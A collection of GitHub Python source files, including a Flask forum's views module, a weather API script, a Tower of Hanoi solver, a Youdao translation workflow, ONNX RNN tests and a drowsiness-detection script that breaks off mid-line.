+{"seq_id":"19730134496","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n@File    : views.py\n@Time    : 2020/5/11 9:59\n@Author  : chen\n前台蓝图文件：apps/front/views.py\n\"\"\"\n# 前台的蓝图文件  类视图函数写在这里\nfrom flask import (\n    Blueprint,\n    render_template,\n    views,\n    make_response,                  # make_response生成response对象，用于返回前端模板\n    request,\n    session,\n    g,\n)\n\n# 导入图像验证码生成文件\nfrom utils.captcha import Captcha\n\n# 图形验证码image是二进制数据，需要转换成字节流才能使用\nfrom io import BytesIO\n\n# 将图形验证码保存到Redis         restful输出信息弹窗\nfrom utils import redis_captcha, restful\n\n# 验证码表单信息验证\nfrom .forms import (\n    SignupForm,               # 注册的Form表单信息收集\n    SigninForm,               # 登录的Form表单信息收集\n    AddPostForm,              # 帖子提交表单信息\n    AddCommentForm,           # 添加帖子评论\n)\n\n# 导入前台用户模型\nfrom .models import (\n    Front_User,\n    PostModel,\n    CommentModel,             # 评论模型\n)\n\n# 导入数据库连接 db\nfrom exts import db\n\n# 确保URL安全的文件：utils/safe_url.py\nfrom utils import safe_url\n\nfrom apps.cms.models import (\n    BannerModel,                      # 导入后台轮播图模型BannerModel\n    BoardModel,                       # 导入后台板块管理模型\n    HighlightPostModel,               # 帖子加精模型\n)\n# 导入分页功能库\nfrom flask_paginate import Pagination, get_page_parameter\n# 导入前台界面权限验证装饰器\nfrom .decorators import login_required\n# 导入配置文件\nimport config\nfrom sqlalchemy import func                      # 导入求和方法\n\nfront_bp = Blueprint(\"front\", __name__)          # 前端不用前缀，直接在首页显示，front是蓝图，在front_signup.html调用生成图形验证码时候需要用\n\n# 权限验证  需要在front_bp产生后，再导入\nfrom .hooks import before_request\n\n\n# BBS的首页界面路由\n@front_bp.route(\"/\")\ndef index():\n    banners = BannerModel.query.order_by(BannerModel.priority.desc()).limit(4)   # 通过权重查询，每页显示4条\n    boards = BoardModel.query.all()                                              # 查询板块中的所有\n    board_id = request.args.get('board_id', type=int, default=None)              # get方法需要使用args，注意这里的数据类型需要改成int\n    \n    # 接收参数st的状态值，用于判断不同种类的排序\n    sort = request.args.get('st', type=int, default=1)\n    \n    page = request.args.get(get_page_parameter(), type=int, default=1)           # 获取当前页码\n    start = (page-1)*config.PER_PAGE                                             # 起始页码是(当前页码-1)*10\n    end = start + config.PER_PAGE                                                # 每页都是起始页码+10\n    \n    # 接收参数st，根据sort的参数不同，判断不同种类的排序\n    query_obj = None\n    if sort == 1:                                                                # 用户选择最新帖子的顺序\n        query_obj = PostModel.query.order_by(PostModel.create_time.desc())       # 帖子创建时间倒序\n    elif sort == 2:                                                              # 用户选择精华帖子的顺序\n        query_obj = db.session.query(PostModel).join(HighlightPostModel).order_by(  # 内关联PostModel,HighlightPostModel交集\n            HighlightPostModel.create_time.desc()                                   # 根据创建时间倒序排序\n        )                     # 帖子加精模型\n    elif sort == 3:                                                              # 用户选择阅读最多的顺序\n        query_obj = PostModel.query.order_by(PostModel.read_count.desc())        # 查询阅读数量\n    elif sort == 4:                                                              # 用户选择评论最多的顺序\n        query_obj = db.session.query(PostModel).join(CommentModel).group_by(\n            PostModel.id                                                         # 先分组，根据不同帖子id进行分组再排序\n        ).order_by(\n            func.count(CommentModel.id).desc()                                   # 通过评论总数排序\n        )\n       \n    # 实现根据不同board_id进行帖子分类显示，即用户选择不同板块，显示的帖子种类相对应\n    if board_id:\n        posts = query_obj.filter(PostModel.board_id == board_id).slice(start, end)        # slice(start, end)分页\n        total = query_obj.filter(PostModel.board_id == board_id).count()                  # 计算该板块的总数\n    else:\n        posts = query_obj.slice(start, end)                                    # 帖子信息传输，如果用户不选择板块，查询所有\n        total = query_obj.count()                                              # 计算帖子总数\n\n    # pagination是一个对象,bs_version=3是bootstrap的版本为3,per_page参数添加，pagination.links正常显示所有\n    pagination = Pagination(bs_version=3, page=page, total=total,\n                            per_page=config.PER_PAGE,                          # config.py中的每页10条数据\n                            inner_window=3, outer_window=1)                    # inner_window=3是内层显示页码的样式，默认为2，\n    # print(pagination.links)                                                  # 当数据量小的时候，不显示，添加per_page参数就能解决\n    \n    context = {                                                                # 多种数据传输到前台界面\n        \"banners\": banners,\n        \"boards\": boards,\n        \"current_board_id\": board_id,\n        \"posts\": posts,\n        \"pagination\": pagination,\n        \"current_sort\": sort,\n        \n    }\n    \n    return render_template(\"front/front_index.html\", **context)            # 渲染到首页界面,查询数据传输到前台界面\n\n\n# 图形验证码路由\n@front_bp.route(\"/captcha/\")\ndef graph_captcha():\n    try:                                                 # 异常处理\n        # 图像验证码生成文件中返回两个参数   text, image\n        text, image = Captcha.gene_graph_captcha()      # 生成图形验证码，image是二进制数据，需要转换成字节流才能使用\n        print(\"发送的图形验证码是：{}\".format(text))\n        \n        # 将图形验证码保存到Redis数据库中\n        redis_captcha.redis_set(text.lower(), text.lower())  # redis_set中需要传参key和value，text没��唯一对应的key，只能都传参text\n        \n        # BytesIO是生成的字节流\n        out = BytesIO()\n        image.save(out, 'png')                          # 把图片image保存在字节流中，并指定为png格式\n        # 文件流指针\n        out.seek(0)                                     # 从字节流最初开始读取\n        # 生成response对象，用于返回前端模板中\n        resp = make_response(out.read())\n        resp.content_type = 'image/png'                 # 指定数据类型\n    except:\n        return graph_captcha()                          # 没有生成验证码就再调用一次\n        \n    return resp                                         # 返回对象\n\n\n# 测试referrer的跳转\n@front_bp.route(\"/test/\")\ndef test():\n    return render_template(\"front/front_test.html\")\n\n\n# 用户注册类视图\nclass SingupView(views.MethodView):\n    def get(self):\n        # 图像验证码生成文件中返回两个参数   text, image\n        # text, image = Captcha.gene_graph_captcha()\n        # print(text)                      # 验证码\n        # print(image)                     # 图形文件，图形类<PIL.Image.Image image mode=RGBA size=100x30 at 0x1EFC9000C88>\n\n        # 从当前页面跳转过来就是None   从其他页面跳转过来输出就是上一个页面信息     referrer是页面的跳转\n        # print(request.referrer)                           # http://127.0.0.1:9999/test/\n        \n        return_to = request.referrer\n        # 确保URL安全的文件：utils/safe_url.py\n        print(safe_url.is_safe_url(return_to))              # 判断return_to是否来自站内，是否是安全url，防爬虫\n        \n        if return_to and return_to != request.url and safe_url.is_safe_url(return_to):       # 跳转的url不能是当前页面，request.url是当前的url地址\n            return render_template(\"front/front_signup.html\", return_to=return_to)           # return_to渲染到前端界面\n        else:\n            return render_template(\"front/front_signup.html\")                                # 如果没获取url,直接渲染注册界面\n        \n    # 验证码的form表单信息提交验证\n    def post(self):\n        form = SignupForm(request.form)                       # 收集表单信息\n        \n        # 表单验证通过\n        if form.validate():\n            # 保存到数据库\n            telephone = form.telephone.data\n            username = form.username.data\n            password = form.password1.data                    # forms表单信息\n            \n            # 前台用户模型数据添加到数据库\n            user = Front_User(telephone=telephone, username=username, password=password)\n            db.session.add(user)\n            db.session.commit()                                                   # 提交到数据库\n            \n            # 表单验证通过，提交到数据库成功\n            return restful.success()\n        else:\n            return restful.params_error(message=form.get_error())                  # 表单信息验证出错\n\n\n# 用户登录的类视图\nclass SinginView(views.MethodView):\n    def get(self):\n        return_to = request.referrer                                                    # referrer是上一个url\n    \n        if return_to and return_to != request.url and safe_url.is_safe_url(return_to):  # 跳转的url不能是当前页面，判断url是否安全\n            return render_template(\"front/front_signin.html\", return_to=return_to)      # return_to渲染到前端界面\n        else:\n            return render_template(\"front/front_signin.html\")                           # 如果没获取url,直接渲染注册界面\n    \n    def post(self):\n        form = SigninForm(request.form)                                            # 登录界面的Form表单信息\n        \n        if form.validate():                                                        # 表单信息存在\n            # 收集form表单信息\n            telephone = form.telephone.data\n            password = form.password.data\n            remember = form.remember.data\n            \n            user = Front_User.query.filter_by(telephone=telephone).first()         # 通过手机号验证该用户是否存在数据库\n            if user and user.check_password(password):                             # 判断密码和用户是否正确\n                # 'front_user_id'命名防止与后台验证session相同，会产生覆盖情况bug\n                session['front_user_id'] = user.id                                 # 用户的id存储到session中，用于登录验证\n                if remember:                                                       # 如果remember状态是1\n                    # session持久化\n                    session.permanent = True\n                return restful.success()                                           # 成功\n            else:\n                return restful.params_error(message=\"手机号或���密码错误\")           # 密码是、用户不正确\n        else:\n            return restful.params_error(message=form.get_error())                  # 表单信息不存在，输出异常信息\n        \n\n#  帖子编辑提交  的类视图     富文本编辑\nclass PostView(views.MethodView):\n    # 登录验证，实现帖子编辑前进行权限验证\n    decorators = [login_required]\n    # 表单信息收集，传输\n    def get(self):\n        # 查询boards数据进行传输\n        boards = BoardModel.query.all()                                           # boards是list类型\n        return render_template(\"front/front_apost.html\", boards=boards)           # boards数据传输到前端front_apost.html页面\n    \n    # 帖子的Form表单信息收集查询\n    def post(self):\n        form = AddPostForm(request.form)                     # 查询帖子提交的Form表单信息\n        if form.validate():\n            title = form.title.data\n            board_id = form.board_id.data                    # 收集表单中提交的信息\n            content = form.content.data\n            \n            # 查询用户信息是否在数据库中存在\n            board = BoardModel.query.get(board_id)\n            if not board:\n                return restful.params_error(message=\"没有这个版块名称\")           # 数据库中不存在，返回异常信息\n            \n            # 数据库中board信息存在，传输数据到数据库表中，并修改名称\n            post = PostModel(title=title, board_id=board_id, content=content)\n            post.board = board                                                   # 外键中的信息修改赋值\n            post.author = g.front_user                                           # g对象\n\n            db.session.add(post)\n            db.session.commit()\n            return restful.success()                                             # 提交成功，为json数据\n        else:\n            return restful.params_error(message=form.get_error())\n            \n\n# 前台 帖子详情 路由\n@front_bp.route(\"/p/<post_id>\")                  # 蹄子详情路由需要传参帖子id：post_id\ndef post_detail(post_id):\n    post = PostModel.query.get(post_id)          # 通过post_id查找数据库中的帖子信息\n    if not post:\n        return restful.params_error(message=\"帖子不存在！\")\n    \n    # 阅读数量计数\n    post.read_count += 1\n    db.session.commit()\n    \n    # 评论数量查询,先查询帖子模型中的id\n    comment_count = db.session.query(PostModel).filter(PostModel.id == post_id).join(\n        CommentModel                                                                     # 关联查询评论模型\n    ).count()                                                                            # 再整体求和\n    return render_template(\"front/front_detail.html\", post=post, comment_count=comment_count)  # 查找到帖子信息，传输数据到帖子详情页渲染\n \n\n# 添加评论  的路由\n@front_bp.route(\"/acomment/\", methods=['POST'])\n@login_required                                      # 登录验证\ndef add_comment():\n    form = AddCommentForm(request.form)              # 网页发送的request.form表单信息放入AddCommentForm进行验证\n    if form.validate():\n        content = form.content.data                  # form表单信息\n        post_id = form.post_id.data\n        \n        post = PostModel.query.get(post_id)          # 通过post_id查询帖子信息\n        if post:\n            comment = CommentModel(content=content)  # 将AddCommentForm中验证后的content信息传给CommentModel模型\n            # 外键关联，反向属性backref，从CommentModel中调用\n            comment.post = post                      # 外键关联的是post表中的id字段\n            comment.author = g.front_user            # 将apps/front/hooks.py中的g对象赋值外键的作者的id\n            db.session.add(comment)                  # 添加对象信息到数据库\n            db.session.commit()\n            return restful.success()                 # 提交成功\n        else:\n            return restful.params_error(message=\"没有这篇帖子\")  # 数据库中查询不到信息\n    else:\n        return restful.params_error(message=form.get_error())   # 表单验证失败\n            \n        \n# 绑定类视图的路由\nfront_bp.add_url_rule(\"/signup/\", view_func=SingupView.as_view(\"signup\"))          # \"signup\"视图中不需要反斜线,决定了url_for的路由地址\nfront_bp.add_url_rule(\"/signin/\", view_func=SinginView.as_view(\"signin\"))          # \"signin\"视图中不需要反斜线\nfront_bp.add_url_rule(\"/apost/\", view_func=PostView.as_view(\"apost\"))              # 绑定帖子编辑提交路由\n","repo_name":"Flask-bbs/Flask--BBS_project","sub_path":"apps/front/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16418,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"8281946288","text":"#importing libraries we use:\nimport argparse\nimport requests\n\n#initializing argparser\nparser= argparse.ArgumentParser(description='Process weather')\n#takes an argument and defines it as location (input)\nparser.add_argument('--location', help='enter city')\n#bc wtf is args? syntax to wrap user input\nargs= parser.parse_args()\n\ndef weather_parser(location):\n    url = \"https://www.metaweather.com/api/location/search/?query={}\".format(location)\n    response = requests.get(url)\n    weather_id = response.json()[0][\"woeid\"]\n    weather_url = \"https://www.metaweather.com/api/location/{}/\".format(weather_id)\n    r= requests.get(weather_url).json()['consolidated_weather'][0]\n    print (\"City:\", location)\n    print (\"Minimum Temperature:\", r[\"min_temp\"])\n    print (\"Maximum Temperature:\", r[\"max_temp\"])\n    print (\"Temperature:\", r[\"the_temp\"])\n    print (\"Humidity:\", r[\"humidity\"])\n\n#defining user input as args (defined line 10) and location (input defined in ln8)\nnew = (args.location)\n#gotta call the dang function:\nweather_parser(new)\n\n#can also just write as:\n# weather_parser(args.location)","repo_name":"fatimahcm/python_basics","sub_path":"Weather_API.py","file_name":"Weather_API.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"24692253628","text":"#! /usr/bin/env python\n\n\nimport random\nimport sys\n\n\nSTACK = 1 << 13\n\nFNAME = \"hanoi.txt\"\n#FNAME = None\n\n\ndef _print(s, fout, score=None):\n    data = \"{}\".format(\" \".join(map(str, s)))\n    if score:\n        data += \" - {}\".format(score)\n    fout.write(data + \"\\n\")\n    fout.flush()\n\n\ndef _final(s, n):\n    return all(i == n for i in s)\n\n\ndef _move(s, frm, to, fout, show=True, score=None):\n    fidx = tidx = 0\n    for idx, rod in enumerate(s):\n        if rod == frm and not fidx:\n            fidx = idx + 1\n        if rod == to and not tidx:\n            tidx = idx + 1\n        if fidx and tidx:\n            break\n    if tidx and fidx < tidx or not tidx:\n        s[fidx - 1] = to\n        if show:\n            _print(s, fout, score=score)\n        return True\n    return False\n\n\ndef optrand(n, m, fout):\n    # Stare initiala.\n    s = [1] * m\n    # Pana ajungem in stare finala.\n    _print(s, fout)\n    steps = 0\n    while not _final(s, n):\n        steps += 1\n        if steps > STACK * n:\n            return False\n        frm = random.choice(s)\n        while True:\n            to = random.randint(1, n)\n            if to != frm:\n                break\n        # Optimizare.\n        move = False\n        if frm == n:\n            if s[-1] != frm:\n                move = True\n            else:\n                flag = False\n                for idx in range(m - 1, -1, -1):\n                    if s[idx] != frm:\n                        flag = True\n                    if flag and s[idx] == frm:\n                        move = True\n                        break\n        else:\n            move = True\n        # Executam tranzitia.\n        if move:\n            _move(s, frm, to, fout)\n    return _final(s, n)\n\n\ndef _backtrack(s, n, m, fout, states):\n    # Verificare stare finala.\n    if _final(s, n):\n        return True\n    if tuple(s) in states:\n        return False\n    states.add(tuple(s))\n    for frm in set(s):\n        for to in range(1, n + 1):\n            if to == frm:\n                continue\n            # Tranzitie inainte.\n            state = _move(s, frm, to, fout)\n            if not state:\n                continue\n            # Executie recursiva.\n            status = _backtrack(s, n, m, fout, states)\n            if status:\n                return True\n            # Tranzitie inapoi.\n            _move(s, to, frm, fout)\n    return False\n\n\ndef backtrack(n, m, fout):\n    s = [1] * m\n    # Salvam stari anterioare.\n    states = set()\n    _print(s, fout)\n    try:\n        return _backtrack(s, n, m, fout, states)\n    except RuntimeError:\n        return False\n\n\ndef _score(s, frm, to, states):\n    try:\n        state = _move(s, frm, to, None, show=False)\n        if not state:\n            return -1\n        if tuple(s) in states:\n            return 0\n        return sum(rod for _, rod in enumerate(s))\n    finally:\n        if state:\n            _move(s, to, frm, None, show=False)\n\n\ndef hillclimb(n, m, fout):\n    s = [1] * m\n    states = set()\n    _print(s, fout, score=m)\n    states.add(tuple(s))\n    steps = 0\n    while not _final(s, n):\n        steps += 1\n        if steps > STACK * n:\n            return False\n        scores = []\n        for frm in set(s):\n            for to in range(1, n + 1):\n                if to == frm:\n                    continue\n                score = _score(s, frm, to, states)\n                if score >= 0:\n                    scores.append((frm, to, score))\n        scores.sort(key=lambda arg: arg[2], reverse=True)\n        frm, to, score = scores[0]\n        if not score:\n            return False\n        _move(s, frm, to, fout, score=score)\n        states.add(tuple(s))\n    return _final(s, n)\n\n\ndef main(argv):\n    if len(argv) != 4:\n        print(\"Usage: {} RODS DISKS ALGO\".format(argv[0]))\n        return 1\n    rods, disks = int(argv[1]), int(argv[2])\n    algos = {\n        \"optrand\": optrand,\n        \"backtrack\": backtrack,\n        \"hillclimb\": hillclimb,\n        \"astar\": None,    # TODO(cmiN): implementation\n    }\n    algo = algos.get(argv[3])\n    if not algo:\n        print(\"[x] Invalid algorithm\")\n        return 2\n\n    if FNAME:\n        fout = open(FNAME, \"w\")\n    else:\n        fout = sys.stdout\n    sys.setrecursionlimit(STACK)\n    status = algo(rods, disks, fout)\n    print(status)\n    if FNAME:\n        fout.close()\n    if not status:\n        return 3\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main(sys.argv))\n","repo_name":"cmin764/cmiN","sub_path":"FII/L3/AI/3/old/hanoi.py","file_name":"hanoi.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"51"}
+{"seq_id":"34610993786","text":"#!/usr/bin/env python\n#coding=utf-8\n\nfrom workflow import Workflow, web\nimport sys, urllib2\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nerrorInfo = {\n    '20': u'要翻译的文本过长',\n    '30': u'无法进行有效的翻译',\n    '40': u'不支持的语言类型',\n    '50': u'无效的key',\n    '60': u'无词典结果，仅在获取词典结果生效'\n}\n\ndef translate(wf):\n\n    url = 'http://fanyi.youdao.com/openapi.do'\n    params = dict(\n        keyfrom = 'Wentong',\n        key     = '1394860876',\n        type    = 'data',\n        doctype = 'json',\n        version = '1.1',\n        q       = wf.args[0]\n    )\n\n    try:\n        res = web.get(url, params).json()\n        error_code = res.get('errorCode', '')\n        if error_code == 0:\n            wf.add_item(\n                title    = res['translation'][0] + ('  [ ' + res['basic'].get('phonetic', '') + ' ]' if res.get('basic') else ''),\n                subtitle = res.get('query'),\n                copytext = res['translation'][0],\n                arg      = res['translation'][0],\n                valid    = True,\n            )\n            if res.get('basic'):\n                for item in res['basic']['explains']:\n                    wf.add_item(\n                        title    = item,\n                        subtitle = res['query'],\n                        copytext = item,\n                        arg      = item,\n                        valid    = True,\n                    )\n            if res.get('web'):\n                for item in res['web']:\n                    wf.add_item(\n                        title    = ', '.join(item['value']),\n                        subtitle = item['key'],\n                        copytext = ', '.join(item['value']),\n                        arg      = ', '.join(item['value']),\n                        valid    = True,\n                    )\n        else:\n            wf.add_item(\n                title    = errorInfo[str(error_code)],\n                subtitle = wf.args[0],\n            )\n\n    except urllib2.URLError:\n        wf.add_item(\n            title    = u'网络异常',\n            subtitle = u'请检查网络设置',\n        )\n    except:\n        wf.add_item(\n            title    = u'未知错误',\n            subtitle = u'未知错误',\n        )\n    finally:\n        wf.send_feedback()\n\nif __name__ == '__main__':\n    wf = Workflow()\n    sys.exit(wf.run(translate))\n","repo_name":"fangwentong/Youdao-Alfred-workflow","sub_path":"youdao.py","file_name":"youdao.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16099177750","text":"from typing import Type\nfrom roboticstoolbox.robot.Robot import Robot\nfrom roboticstoolbox.tools import rtb_get_param\nfrom roboticstoolbox.robot.ERobot import ERobot2\nfrom ansitable import ANSITable, Column\nimport inspect\n\n# import importlib\n\n\ndef list(keywords=None, dof=None, type=None, border=\"thin\"):\n    \"\"\"\n    Display all robot models in summary form\n\n    :param keywords: keywords to filter on, defaults to None\n    :type keywords: tuple of str, optional\n    :param dof: number of DoF to filter on, defaults to None\n    :type dof: int, optional\n    :param type: model type \"DH\", \"ETS\", \"URDF\", defaults to all types\n    :type type: str, optional\n\n    - ``list()`` displays a list of all models provided by the Toolbox.  It\n      lists the name, manufacturer, model type, number of DoF, and keywords.\n\n    - ``list(type=MT)`` as above, but only displays models of type ``MT``\n      where ``MT`` is one of \"DH\", \"ETS\" or \"URDF\".\n\n    - ``list(keywords=KW)`` as above, but only displays models that have a\n      keyword in the tuple ``KW``.\n\n    - ``list(dof=N)`` as above, but only display models that have ``N``\n      degrees of freedom.\n\n    The filters can be combined\n\n    - ``list(keywords=KW, dof=N)`` are those models that have a keyword in\n      ``KW`` and have ``N`` degrees of freedom.\n    \"\"\"\n\n    import roboticstoolbox.models as models\n\n    # module = importlib.import_module(\n    #   '.' + os.path.splitext(file)[0], package='bdsim.blocks')\n\n    unicode = rtb_get_param(\"unicode\")\n    if not unicode:\n        border = \"ascii\"\n    def make_table(border=None):\n        table = ANSITable(\n            Column(\"class\", headalign=\"^\", colalign=\"<\"),\n            Column(\"name\", headalign=\"^\", colalign=\"<\"),\n            Column(\"manufacturer\", headalign=\"^\", colalign=\"<\"),\n            Column(\"type\", headalign=\"^\", colalign=\"<\"),\n            Column(\"DoF\", colalign=\"<\"),\n            Column(\"dims\", colalign=\"<\"),\n            Column(\"structure\", colalign=\"<\"),\n            Column(\"dynamics\", colalign=\"<\"),\n            Column(\"geometry\", colalign=\"<\"),\n            Column(\"keywords\", headalign=\"^\", colalign=\"<\"),\n            border=border,\n        )\n\n        if type is not None:\n            categories = [type]\n        else:\n            categories = [\"DH\", \"URDF\", \"ETS\"]\n        for category in categories:\n            # get all classes in this category\n            group = models.__dict__[category]\n            for cls in group.__dict__.values():\n                if inspect.isclass(cls) and issubclass(cls, Robot):\n                    # we found a BaseRobot subclass, instantiate it\n                    try:\n                        robot = cls()\n                    except TypeError:\n                        print(f\"failed to load {cls}\")\n                    try:\n                        structure = robot.structure\n                    except Exception:  # pragma nocover\n                        structure = \"\"\n\n                    # apply filters\n                    if keywords is not None:\n                        if len(set(keywords) & set(robot.keywords)) == 0:\n                            continue\n                    if dof is not None and robot.n != dof:\n                        continue  # pragma nocover\n\n                    dims = 0\n\n                    if isinstance(robot, ERobot2):\n                        dims = 2\n                    else:\n                        dims = 3\n                    # add the row\n                    table.row(\n                        cls.__name__,\n                        robot.name,\n                        robot.manufacturer,\n                        category,\n                        robot.n,\n                        f\"{dims}d\",\n                        structure,\n                        \"Y\" if robot._hasdynamics else \"\",\n                        \"Y\" if robot._hasgeometry else \"\",\n                        \", \".join(robot.keywords),\n                    )\n\n        table.print()\n\n    make_table(border=border)\n\n\nif __name__ == \"__main__\":  # pragma nocover\n    list(border='ascii')\n    list(keywords=(\"dynamics\",), border='thin')\n    list(dof=6)\n    list(keywords=(\"dynamics\",), dof=6)\n","repo_name":"petercorke/robotics-toolbox-python","sub_path":"roboticstoolbox/models/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","stars":1635,"dataset":"github-code","pt":"51"}
+{"seq_id":"28819622849","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport numpy as np  # type: ignore\nfrom typing import Any, Tuple\n\nimport onnx\nfrom ..base import Base\nfrom . import expect\n\n\nclass RNN_Helper():\n    def __init__(self, **params):  # type: (**Any) -> None\n        # RNN Input Names\n        X = str('X')\n        W = str('W')\n        R = str('R')\n        B = str('B')\n        H_0 = str('initial_h')\n\n        required_inputs = [X, W, R]\n        for i in required_inputs:\n            assert i in params, \"Missing Required Input: {0}\".format(i)\n\n        self.num_directions = params[str(W)].shape[0]\n\n        if self.num_directions == 1:\n            for k in params.keys():\n                if k != X:\n                    params[k] = np.squeeze(params[k], axis=0)\n\n            hidden_size = params[R].shape[-1]\n            batch_size = params[X].shape[1]\n\n            b = params[B] if B in params else np.zeros(2 * hidden_size, dtype=np.float32)\n            h_0 = params[H_0] if H_0 in params else np.zeros((batch_size, hidden_size), dtype=np.float32)\n\n            self.X = params[X]\n            self.W = params[W]\n            self.R = params[R]\n            self.B = b\n            self.H_0 = h_0\n        else:\n            raise NotImplementedError()\n\n    def f(self, x):  # type: (np.ndarray) -> np.ndarray\n        return np.tanh(x)\n\n    def step(self):  # type: () -> Tuple[np.ndarray, np.ndarray]\n        h_list = []\n        H_t = self.H_0\n        for x in np.split(self.X, self.X.shape[0], axis=0):\n            H = self.f(np.dot(x, np.transpose(self.W)) + np.dot(H_t, np.transpose(self.R)) + np.add(\n                *np.split(self.B, 2)))\n            h_list.append(H)\n            H_t = H\n        concatenated = np.concatenate(h_list)\n        if self.num_directions == 1:\n            output = np.expand_dims(concatenated, 1)\n        return output, h_list[-1]\n\n\nclass RNN(Base):\n\n    @staticmethod\n    def export_defaults():  # type: () -> None\n        input = np.array([[[1., 2.], [3., 4.], [5., 6.]]]).astype(np.float32)\n\n        input_size = 2\n        hidden_size = 4\n        weight_scale = 0.1\n\n        node = onnx.helper.make_node(\n            'RNN',\n            inputs=['X', 'W', 'R'],\n            outputs=['', 'Y'],\n            hidden_size=hidden_size\n        )\n\n        W = weight_scale * np.ones((1, hidden_size, input_size)).astype(np.float32)\n        R = weight_scale * np.ones((1, hidden_size, hidden_size)).astype(np.float32)\n\n        rnn = RNN_Helper(X=input, W=W, R=R)\n        _, Y_h = rnn.step()\n        expect(node, inputs=[input, W, R], outputs=[Y_h.astype(np.float32)], name='test_simple_rnn_defaults')\n\n    @staticmethod\n    def export_initial_bias():  # type: () -> None\n        input = np.array([[[1., 2., 3.], [4., 5., 6.], [7., 8., 9.]]]).astype(np.float32)\n\n        input_size = 3\n        hidden_size = 5\n        custom_bias = 0.1\n        weight_scale = 0.1\n\n        node = onnx.helper.make_node(\n            'RNN',\n            inputs=['X', 'W', 'R', 'B'],\n            outputs=['', 'Y'],\n            hidden_size=hidden_size\n        )\n\n        W = weight_scale * np.ones((1, hidden_size, input_size)).astype(np.float32)\n        R = weight_scale * np.ones((1, hidden_size, hidden_size)).astype(np.float32)\n\n        # Adding custom bias\n        W_B = custom_bias * np.ones((1, hidden_size)).astype(np.float32)\n        R_B = np.zeros((1, hidden_size)).astype(np.float32)\n        B = np.concatenate((W_B, R_B), axis=1)\n\n        rnn = RNN_Helper(X=input, W=W, R=R, B=B)\n        _, Y_h = rnn.step()\n        expect(node, inputs=[input, W, R, B], outputs=[Y_h.astype(np.float32)],\n               name='test_simple_rnn_with_initial_bias')\n\n    @staticmethod\n    def export_seq_length():  # type: () -> None\n        input = np.array([[[1., 2., 3.], [4., 5., 6.], [7., 8., 9.]],\n                          [[10., 11., 12.], [13., 14., 15.], [16., 17., 18.]]]).astype(np.float32)\n\n        input_size = 3\n        hidden_size = 5\n\n        node = onnx.helper.make_node(\n            'RNN',\n            inputs=['X', 'W', 'R', 'B'],\n            outputs=['', 'Y'],\n            hidden_size=hidden_size\n        )\n\n        W = np.random.randn(1, hidden_size, input_size).astype(np.float32)\n        R = np.random.randn(1, hidden_size, hidden_size).astype(np.float32)\n\n        # Adding custom bias\n        W_B = np.random.randn(1, hidden_size).astype(np.float32)\n        R_B = np.random.randn(1, hidden_size).astype(np.float32)\n        B = np.concatenate((W_B, R_B), axis=1)\n\n        rnn = RNN_Helper(X=input, W=W, R=R, B=B)\n        _, Y_h = rnn.step()\n        expect(node, inputs=[input, W, R, B], outputs=[Y_h.astype(np.float32)], name='test_rnn_seq_length')\n","repo_name":"alibaba/x-deeplearning","sub_path":"blaze/thirdparty/onnx/onnx-1.2.2/onnx/backend/test/case/node/rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","stars":4208,"dataset":"github-code","pt":"51"}
+{"seq_id":"2929279381","text":"\"\"\"@package docstring\nRode esse scrip para iniciar o server.\n\"\"\"\n\n\n\"\"\"\nimportações padrões para o funcionamento do servidor\n\"\"\"\nfrom os import environ\nfrom PyDaria import app\n\n\"\"\"\ngera as portas e inicializa o servidor\n\"\"\"\nif __name__ == '__main__':\n    HOST = environ.get('SERVER_HOST', 'localhost')\n    try:\n        PORT = int(environ.get('SERVER_PORT', '5555'))\n    except ValueError:\n        PORT = 5555\n    app.run(HOST, PORT)\n","repo_name":"PedroFernandesSpark/Padaria-online-python","sub_path":"PyDaria/PyDaria/runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"31308104191","text":"import tkinter\r\nfrom tkinter import*\r\nfrom PIL import image,ImageTk\r\nroot=Tk()\r\nroot.geometry(\"1000x1000\")\r\nimage1=Image.open(\"cd.jpg\")\r\ntest=ImageTk.PhotoImage(image1)\r\nlabel1=tkinter.label(image=test)\r\nlabel1.image=test\r\nlabel1.grid(row=0,column=0)\r\nroot.mainloop()\r\n","repo_name":"Shijo12122002/Image-tkinter","sub_path":"image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"75055305437","text":"import cv2\nimport os\nfrom keras.models import load_model\nimport numpy as np\nfrom pygame import mixer\nimport time\nimport datetime\nimport smtplib\nfrom flask import Flask, render_template, Response\n\napp = Flask(__name__)\n\nmixer.init() #initializing mixer \nsound = mixer.Sound('alarm.wav')  #alarm.wav file for ringing alarm\n\n#These xml files are downloaded from google and used for detecting face , left eye and right eye\nface = cv2.CascadeClassifier(\"haar cascade files\\haarcascade_frontalface_alt.xml\")\nleye = cv2.CascadeClassifier(\"haar cascade files\\haarcascade_lefteye_2splits.xml\")\nreye = cv2.CascadeClassifier(\"haar cascade files\\haarcascade_righteye_2splits.xml\")\n\nlbl = ['Close', 'Open']\n\nmodel = load_model('models/trained.h5') #loading our model\npath = os.getcwd() #It will give the path of current working directory\ncap = cv2.VideoCapture(0) #initializing video object\nfont = cv2.FONT_HERSHEY_COMPLEX_SMALL #Font style for putting text on frame\n\ndef gen_frames():\n    count = 0\n    score = 0 #if score goes greater than 15 then ring the alarm\n    thicc = 2 #border width\n    rpred = [99]  #for taking class prediction of right eye\n    lpred = [99]  #for taking class prediction of left eye\n\n    while True:\n\n        ret, 